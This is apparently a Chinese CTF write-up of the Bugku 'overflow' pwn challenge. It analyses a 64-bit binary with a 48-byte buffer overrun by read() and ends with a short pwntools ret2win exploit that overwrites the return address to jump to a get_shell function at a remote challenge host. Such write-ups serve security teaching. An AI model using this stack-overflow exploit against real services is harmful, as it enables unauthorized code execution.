【bugku】overflow

1、题目描述,溢出,还给出了nc地址和端口

2、在kali中使用file命令查看下载的文件是多少位的

再使用checksec命令查看该文件是否有保护机制,显然没有

3、运行改可执行文件看看,第二步随便输入

4、用64位的IDA分析文件,按F5进入主函数,这段程序定义了一个48字节的数组s。memset()函数将数组s的前0x30字节初始化为0,read()函数以s作为缓存区读取了0x100个字节的数据。数组s的长度小于要读取的长度,这会导致缓冲区溢出。

数组s的栈结构:

5、在函数那一栏,看到名为get_shell的函数,可能是一个后门函数,它的地址为0x400751。进一步分析, 这段代码的作用是向控制台输出两行字符串,然后执行 cat flag 命令,显示文件 flag 的内容。如果 flag 文件存在并且可读,它的内容将会被打印在控制台上。

6、思路:system("cat flag") 是代码的核心漏洞点。如果我们能够调用 get_shell_() 函数,我们就能执行系统命令 。需要找到能调用该函数的入口,需要将数组s的部分进行覆盖。

从栈结构中可以看到,数组 s 的大小是 48 字节(0x30)。我们需要覆盖返回地址,因此需要填充 48 字节的缓冲区,再加上 8 字节的栈帧指针(EBP)。 然后是 get_shell_() 函数的地址。

7、构造漏洞利用程序exp:

from pwn import *
#io = process('./pwn2')
io = remote("114.67.175.224", 14794)
payload = b'a' * (0x30 + 0x8) + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()

8、运行结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值